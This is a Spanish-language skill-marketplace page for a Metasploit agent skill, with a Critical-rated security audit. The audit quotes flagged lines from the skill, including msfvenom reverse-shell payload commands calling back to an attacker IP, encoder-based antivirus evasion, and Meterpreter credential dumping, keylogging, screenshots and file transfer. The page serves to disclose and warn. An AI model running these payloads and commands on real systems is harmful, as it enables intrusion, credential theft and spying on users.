Habilidades metasploit-framework
📦
metasploit-framework
Revisión del contenido r2 Crítico ⚙️ Comandos externos🌐 Acceso a red📁 Acceso al sistema de archivos
Evalúa flujos de trabajo de Metasploit de forma segura
Los equipos de seguridad necesitan orientación clara sobre flujos de trabajo de Metasploit para evaluaciones autorizadas. Esta habilidad organiza puntos de control de configuración, selección de módulos, manejo de payloads, sesiones e informes.
Compatible con: Claude Codex Code(CC)
No instales este Skill automáticamente.
La política canónica exige la revisión de un operador antes de cualquier acción de instalación.
Instalar con mi Agente
Copia esta solicitud en tu Agente. Incluye la página canónica del Skill y el manifiesto.
Solicitud de agente
Review the Skillstore skill "metasploit-framework" from https://skillstore.io/skills/sickn33-metasploit-framework.md and its manifest at https://skillstore.io/api/skills/sickn33-metasploit-framework/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Tu Agente debe seguir mostrando su plan y solicitar cualquier confirmación exigida por la política de seguridad.
Recursos legibles por agentes
Usa estos enlaces cuando un agente de IA, crawler o script necesite contexto limpio en vez de leer la página completa.
Pruébalo
Usando "metasploit-framework". Planifica una revisión de laboratorio de Metasploit para principiantes en una sola máquina virtual aprobada.
Resultado esperado:
- Lista de verificación de prerrequisitos con autorización, identidad del objetivo, preparación de herramientas y almacenamiento de evidencias.
- Flujo de trabajo de alto nivel que cubre investigación de módulos, revisión de opciones, validación y limpieza.
- Notas de seguridad que mantienen la actividad dentro del laboratorio aislado.
Usando "metasploit-framework". Revisa si un paso de posexplotación propuesto está dentro del alcance.
Resultado esperado:
- Resumen de decisión de alcance.
- Acciones sensibles que requieren aprobación explícita, incluido el acceso a credenciales o la captura de pantalla.
- Alternativas más seguras recomendadas para la recopilación de evidencias.
Usando "metasploit-framework". Resume los entregables después de un ejercicio de validación autorizado.
Resultado esperado:
- Resumen de evidencias sin material secreto.
- Notas sobre la vulnerabilidad afectada y el impacto empresarial.
- Confirmación de limpieza y responsables recomendados para la remediación.
Auditoría de seguridad
Críticov5 • 4/8/2026 Abrir el informe versionado
Markdown formatting and private example addresses caused many false positives, but the skill contains extensive actionable offensive guidance. Confirmed risks include exploitation, payload generation, keylogging, credential access, persistence, defense evasion, file transfer, network scanning, and privileged setup.
1
Archivos escaneados
497
Líneas analizadas
3
Elementos de revisión
0
Falsos positivos ignorados
Preocupaciones de seguridad confirmadas (60)
Crítico
Keylogger keywords
# Screenshots and Keylogging
The skill explicitly documents starting and operating Meterpreter keylogging. Capturing user keystrokes can steal credentials and other sensitive information.
Crítico
Keylogger keywords
| `keyscan_start` | Start keylogger |
The skill explicitly documents starting and operating Meterpreter keylogging. Capturing user keystrokes can steal credentials and other sensitive information.
Crítico
Metasploit framework
Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation t
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
windows/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
linux/x86/meterpreter/bind_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
windows/x64/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Mostrar los 60 problemas confirmados
Crítico
Metasploit framework
php/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
java/meterpreter/reverse_https
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
android/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
### Phase 6: Meterpreter Session
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
Work with Meterpreter post-exploitation:
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
# After successful exploitation, you get Meterpreter prompt
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > sysinfo
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > getuid
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > getpid
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > pwd
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > ls
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > cd C:\\Users
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > download file.txt /tmp/
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > upload /tmp/tool.exe C:\\
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > ps
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > migrate [PID]
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > kill [PID]
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > ipconfig
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > netstat
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > route
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > getsystem
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > getprivs
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > hashdump
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > run post/windows/gather/credentials/credential_collector
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > screenshot
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > keyscan_start
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > keyscan_dump
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > keyscan_stop
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > shell
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > background
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
meterpreter > run post/windows/gather/hashdump
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Metasploit framework
[*] Meterpreter session 1 opened
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Crítico
Post-Compromise Persistence Guidance
The skill recommends Windows executable persistence and Linux SSH-key persistence modules. These actions maintain unauthorized access after initial compromise.
The section is explicitly labeled persistence and names two operational persistence modules. The intent and capability are direct.
Crítico
Security Control Evasion Guidance
The skill recommends evasion modules, encoded payloads, and avoiding monitoring detection. This guidance helps payloads bypass defensive controls.
The source explicitly says to bypass security controls, evade antivirus, and avoid detection. It also supplies encoder and evasion-module directions.
Alto
Screen capture upload
| `screenshot` | Capture screen |
The command reference explicitly directs Meterpreter to capture the compromised system screen. This can collect sensitive user and application data.
Alto
Network scanning tools
| `db_nmap` | Run nmap with database |
The reference explicitly recommends `db_nmap`, which performs active network scanning and stores results in the Metasploit database.
Alto
Credential Brute Force Workflow
The skill configures SSH login attempts with username and password wordlists. This enables automated credential attacks beyond defensive vulnerability review.
The named SSH login module and both credential wordlists clearly establish brute-force intent. The workflow ends with an instruction to run the attack.
Bajo
System reconnaissance
meterpreter > getuid
The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance.
Bajo
System reconnaissance
meterpreter > getpid
The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance.
Bajo
System reconnaissance
C:\Windows\system32> whoami
The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance.
Bajo
Network reconnaissance
meterpreter > netstat
The Meterpreter `netstat` command enumerates network connections on a compromised host. This is genuine post-exploitation network reconnaissance.
Elementos de revisión de capacidades (3)
Estas son capacidades locales reales que pueden esperarse para esta habilidad, por lo que requieren revisión, pero no se cuentan como comportamiento malicioso confirmado.
Alto
sudo privilege escalation
| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |
The troubleshooting table explicitly instructs users to run `sudo msfdb init`. This requests privileged host changes and contradicts the earlier claim that privileged setup is unnecessary.
Alto
Temp directory access
meterpreter > download file.txt /tmp/
This is an actionable Meterpreter file-transfer command that downloads target data or uploads a tool through `/tmp`. It enables post-compromise extraction or deployment.
Alto
Temp directory access
meterpreter > upload /tmp/tool.exe C:\\
This is an actionable Meterpreter file-transfer command that downloads target data or uploads a tool through `/tmp`. It enables post-compromise extraction or deployment.
Factores de riesgo
⚙️ Comandos externos (50)
SKILL.md:33-37 SKILL.md:37-41 SKILL.md:41 SKILL.md:69-86 SKILL.md:86-92 SKILL.md:92-118 SKILL.md:118-124 SKILL.md:124-145 SKILL.md:145-151 SKILL.md:151-184 SKILL.md:184-190 SKILL.md:190-210 SKILL.md:210-216 SKILL.md:216-267 SKILL.md:267-273 SKILL.md:273-306 SKILL.md:306-312 SKILL.md:312-347 SKILL.md:347-353 SKILL.md:353-386 SKILL.md:386-392 SKILL.md:392-408 SKILL.md:408-416 SKILL.md:416-417 SKILL.md:417-418 SKILL.md:418-419 SKILL.md:419-420 SKILL.md:420-421 SKILL.md:421-422 SKILL.md:422 SKILL.md:423-424 SKILL.md:424-425 SKILL.md:425-426 SKILL.md:426-427 SKILL.md:427-428 SKILL.md:428-434 SKILL.md:434-435 SKILL.md:435-436 SKILL.md:436-437 SKILL.md:437-438 SKILL.md:438-439 SKILL.md:439-440 SKILL.md:440-441 SKILL.md:441-442 SKILL.md:442-443 SKILL.md:443-444 SKILL.md:444-448 SKILL.md:448-464 SKILL.md:464-490 SKILL.md:490
🌐 Acceso a red (19)
📁 Acceso al sistema de archivos (2)
Patrones detectados
Keylogger keywords×2Screen capture uploadMetasploit framework×49System reconnaissance×3Network reconnaissanceNetwork scanning tools
Auditado por: codex Ver historial de auditorías →
Compartir y citar este informe
Comparte el informe de evaluación versionado, la insignia neutral, la tarjeta insertable y las citas. Skillstore presenta evidencias sin decidir si este Skill es seguro.
Copiar enlace del informe
https://skillstore.io/skills/sickn33-metasploit-framework/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportInsignia Markdown
[](https://skillstore.io/skills/sickn33-metasploit-framework?utm_source=security_passport_badge)Insignia HTML
<a href="https://skillstore.io/skills/sickn33-metasploit-framework?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-metasploit-framework/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Tarjeta para insertar
<iframe src="https://skillstore.io/embed/skills/sickn33-metasploit-framework.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Citas académicas (APA · BibTeX · CFF)
Cita APA
zebbern. (2026). metasploit-framework security audit report (audit version 5) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-metasploit-framework/audits/5Cita BibTeX
@techreport{zebbern-sickn33-metasploit-framework-2026,
author = {zebbern},
title = {metasploit-framework security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-metasploit-framework/audits/5},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "metasploit-framework security audit report (audit version 5)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-08-04"
url: "https://skillstore.io/skills/sickn33-metasploit-framework/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-metasploit-framework:audit:5"
description: "Skillstore immutable audit report identifier"
Puntuación de Skillstore
Por qué esta puntuación Confianza de la evidencia: Medio 55
Arquitectura
85
Mantenibilidad
87
Contenido
69
Comunidad
83
Cumplimiento de la especificación
Lo que puedes crear
Preparar evaluaciones de laboratorio
Usa la referencia para comprender las fases de Metasploit antes de practicar en un laboratorio aislado.
Planificar validación autorizada
Mapea una vulnerabilidad dentro del alcance a la selección de módulos, revisión de opciones, captura de evidencias y tareas de limpieza.
Revisar límites de pruebas
Comprueba si la actividad propuesta de Metasploit coincide con la autorización escrita, las reglas de compromiso y las necesidades de informes.
Prueba estos prompts
Revisar prerrequisitos
Para un laboratorio autorizado, explica el acceso, las herramientas, la documentación y las comprobaciones de seguridad necesarias antes de usar esta referencia de Metasploit.
Elegir tipo de módulo
Dado este objetivo de evaluación aprobado, identifica la categoría de módulo de Metasploit relevante y la información necesaria antes de ejecutar cualquier comando.
Planificar validación controlada
Crea un plan de validación seguro para este objetivo autorizado, incluyendo comprobaciones de alcance, revisión de opciones, manejo de evidencias y pasos de reversión.
Auditar alcance de posexplotación
Revisa esta actividad de posexplotación propuesta frente a las reglas de compromiso y marca cualquier riesgo relacionado con credenciales, privacidad o persistencia.
Mejores prácticas
- Exige autorización escrita y un alcance definido antes de usar cualquier flujo de trabajo de Metasploit.
- Practica solo en laboratorios aislados o entornos de evaluación aprobados.
- Registra las evidencias cuidadosamente y elimina los artefactos de prueba después de la validación basada en aprobación.
Evitar
- Ejecutar orientación de exploits o payloads contra sistemas de terceros sin permiso.
- Recopilar credenciales, capturas de pantalla o archivos cuando las reglas de compromiso no lo permiten.
- Copiar comandos de payload en entornos de producción sin revisión y contención.
Preguntas frecuentes
¿Esta habilidad ejecuta Metasploit automáticamente?
No. Es una referencia escrita. Los usuarios deben ejecutar herramientas en su propio entorno aprobado.
¿Se requiere autorización?
Sí. La actividad de Metasploit requiere autorización escrita, alcance definido y reglas de compromiso claras.
¿Por qué esta habilidad es de alto riesgo?
Incluye orientación sobre exploits, payloads, Meterpreter, acceso a credenciales y evasión.
¿Puede ayudar con la formación defensiva?
Sí, pero solo en laboratorios controlados o ejercicios de validación aprobados con manejo cuidadoso de evidencias.
¿Valida la seguridad de los exploits?
No. Los operadores deben verificar el alcance, la propiedad del objetivo y el riesgo de cambio antes de cualquier acción.
¿Qué debería eliminarse antes de una publicación amplia?
Elimina instrucciones listas para copiar sobre payloads, keylogging, volcado de credenciales, persistencia y evasión.
Detalles del desarrollador
Autor
zebbernLicencia
MIT
Revisión de Skillstore
r2
Aviso de versión
El autor no declaró una versión.
Repositorio
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/metasploit-frameworkRef.
81e05e636292629114b76cbb3922fbe57672fc02
Actualidad del mantenimiento
5/8/2026
Uso
9 descargas · 144 vistas
Estructura de archivos
📄 SKILL.md